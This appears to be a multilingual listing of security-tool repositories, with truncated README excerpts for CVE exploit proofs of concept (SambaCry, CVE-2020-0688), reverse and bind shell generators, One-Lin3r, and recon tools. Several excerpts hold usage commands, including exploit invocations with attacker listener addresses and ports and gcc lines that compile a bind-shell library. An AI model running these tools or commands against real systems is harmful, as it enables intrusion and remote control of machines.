CVE-2017-7494_SambaCry

CVE-2017-7494 SambaCry Exploit Exploit SambaCry CVE-2017-7494 para explotar Samba bind shell sin Metasploit Si necesita cambiar el puerto, basta con cambiar la línea n.º 68 de bindshell-samba.c y recompilar: gcc -c -fpic bindshell-samba.c gcc -shared -o libbindshell-samba.so bindshell-samba.o Cóm...

dnsrecon

DNSRecon DNSRecon is a Python port of a Ruby script that I wrote to learn the language and about DNS in early 2007. This time I wanted to learn about Python and extend the functionality of the original tool and in the process re-learn how DNS works and how could it be used in the process of a...

One-Lin3r

One-Lin3r One-Lin3r 是一个简单、模块化且轻量级的框架，为您提供渗透测试（Windows、Linux、macOS 甚至 BSD 系统）或一般黑客攻击时所需的全部单行命令，并具有许多新功能，使这一切完全自动化（例如：您甚至无需复制单行命令）。 版本 2 的截图 它包含各种不同类型的单行命令，具有不同的功能，其中一些包括： 单行命令功能| 该功能的作用 ---|--- 反向 Shell| 提供反向 shell 的各种方法和命令。 权限提升| 许多用于枚举和权限提升的命令。 绑定 Shell| 提供绑定 shell 的各种方法和命令。 下载执行|...

CVE-2020-0688

CVE-2020-0688 Working Exploit PoC CVE-2020-0688 - Reverse Bind Shell Tested using Python2.7 To Install: pip install -r requirements.txt To Run: python CVE-2020-0688-POC.py 10.16.1.24 -lhost 10.1.1.1 -lport 4444...

persisthunt

Detección de Persistencia, Búsqueda y Recopilación de Artefactos en Linux Resumen Uso Ejemplos de Detecciones Tabla de Técnicas Resumen persisthunt.sh ayuda a acelerar las investigaciones recolectando artefactos relacionados con persistencia específicos y destacando patrones sospechosos comúnment...

serval

一款适用于渗透测试和渗透测试挑战的Netcat风格后门 Serval 是一个轻量级、易于使用的二进制文件，用于在渗透测试或渗透测试练习中生成反向和绑定Shell。Serval 是跨平台的，可以编译为 Windows 32 位和 64 位以及 Linux 32 位和 64 位。注意：由于 Rust 的灵活性，有可能编译到其他平台（例如 ARM），但我尚未在其他平台上进行测试。 为什么？ 我开发 Serval 是为了在 HacktheBox 挑战中摆脱对 netcat 的依赖，因为在 Windows 上找到 netcat 二进制文件（尤其是带有 -e...

socks5

socks5 Socks5/Socks5h 服务器和客户端 该项目是为 Bridge 添加协议支持，也可单独使用 用法 API 文档 示例 支持 CONNECT 命令 支持 BIND 命令 支持 ASSOCIATE 命令 许可证 根据 MIT 许可证授权。完整的许可证文本请参见 LICENSE。...

shellerator

Shellerator Shellerator 是一款简单的 CLI/TUI 工具，旨在帮助渗透测试人员快速生成多种编程语言（如 Bash、PowerShell、Netcat、PHP、ASPX 等）的反弹、绑定和 Web Shell。 另一个基于此代码的、用于生成单行文件下载命令的类似项目是 Uberfile 该项目默认安装在黑客环境 Exegol 中。 安装 Shellerator 可以轻松地使用 pipx 或 uv 安装。 Pipx 使用 pipx 安装 Shellerator，运行以下命令： pipx install...

metasploitable-pentest-report

Metasploitable 2 — Informe de Prueba de Penetración Descargo de responsabilidad: Esta prueba de penetración se realizó en un entorno de laboratorio privado y aislado de VMware con fines educativos únicamente. No se accedió a sistemas reales. Todas las direcciones IP han sido anonimizadas. Resumen...

CVE-2020-0910

CVE-2020-0910 工作利用PoC CVE-2020-0910 - 反向绑定Shell 使用Python2.7测试 安装： pip install -r requirements.txt 运行： python CVE-2020-0910-POC.py 10.16.1.24 -lhost 10.1.1.1 -lport 4444...

CVE-2024-54887-PoC

CVE-2024-54887 PoC en TypeScript Este repositorio contiene una reescritura en TypeScript ts-node del PoC público en Python para CVE-2024-54887 TP-Link TL-WR940N v3/v4 RCE autenticado. Requisitos previos Node.js 20+ Instalación npm install Uso npx ts-node .\cve-2024-54887.ts --ip Credenciales...

nginxhack

Esta es una herramienta que utiliza un exploit llamado CVE-2013-2028 para ejecutar un bind shell en el servidor objetivo que ejecuta Nginx 1.3.9 o 1.4.0. Se puede descargar aquí necesitarás ejecutarlo desde la línea de comandos Uso: nginxhack target target port target bind port...

postshell

PostShell PostShell 是一个后渗透 shell，同时包含绑定 shell 和反向连接 shell。它创建一个完全交互式的 TTY，允许作业控制。生成的 stub 大小约为 14kb，可在任何类 Unix 系统上编译。 截图 连接启动后，横幅及与 shell 的交互界面。 为什么不使用传统的反向连接/绑定 Shell？ PostShell 使后渗透攻击更加容易，攻击者不再依赖 Python 和 Perl 等依赖项。它还同时集成了反向连接和绑定 shell，这意味着如果目标不允许出站连接，操作员可以简单地启动一个绑定 shell 并远程连接到该机器。此外，PostShell...

postshell

PostShell PostShell is a post-exploitation shell that includes both a bind and a back connect shell. It creates a fully interactive TTY which allows for job control. The stub size is around 14kb and can be compiled on any Unix like system. ScreenShots Banner and interaction with shell after a...

CVE-2024-21006_jar

CVE-2024-21006jar exp代码参考：https://github.com/momika233/CVE-2024-21006 这里将源代码编译成了一个jar包，方便使用。lib下是依赖文件，如果想修改源码可自行编译。 使用 java -jar CVE-2024-21006.jar 参考dadvlingd师傅的项目，bind随机字符串，解决payload只能打一次的问题。 参考 https://blog.csdn.net/zwy15288408160/article/details/138189146...

msLDAPDump

msLDAPDump 基于Python3的LDAP枚举工具 msLDAPDump 通过将 Python 的 ldap3 库封装成易用的接口，简化了域环境中的 LDAP 枚举。与我的大多数工具一样，此工具在 Windows 上效果最佳。如果在 Unix 上使用，该工具目前无法解析非通过 eth0 可访问的主机名。 匿名绑定 用户可以通过该工具匿名绑定到 LDAP，并导出有关 LDAP 的基本信息，包括域命名上下文、域控制器主机名等。 凭据绑定 用户可以使用有效的用户账户凭据或有效的 NTLM 哈希绑定到 LDAP。使用凭据将获得与匿名绑定请求相同的信息，并检查以下内容： 扫描开放端口 38...

CVE-2022-41114

CVE-2022-41114 Windows Bind Filter Driver 特权提升漏洞。 authentication| complexity| vector ---|---|--- 不可用| 不可用| 不可用 confidentiality| integrity| availability ---|---|--- 不可用| 不可用| 不可用 CVSS Score: 不可用 参考 https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-41114 Brut File...

CVE-2019-6467

CVE-2019-6467 BIND redirección de nxdomain Solo con fines educativos Ejecutar $ docker run --rm --name cve-2019-6467 -it -p 53:53/udp knqyf263/cve-2019-6467 Explotación Consulta normal $ dig @127.0.0.1 nxdomain.example.com nxdomain puede ser reemplazado por cualquier cosa que signifique un nombre...

CVE-2016-2776

CVE-2016-2776 Un cuento de un paquete DNS, un recorrido detallado y prueba de concepto de CVE-2016-2776 de BIND. http://blog.infobytesec.com/2016/10/a-tale-of-dns-packet-cve-2016-2776.html En este repositorio encontrarás: Prueba de concepto namedown.py Módulo auxiliar de Metasploit namedown.rb...

GoSH

GoSH Golang reverse/bind shell generator Description This tool generates a Go binary that launches a shell of the desired type on the targeted host. The shell binary can be compiled for multiple platforms, supports partial polymorphism unique functions' names and can use UDP protocol instead of t...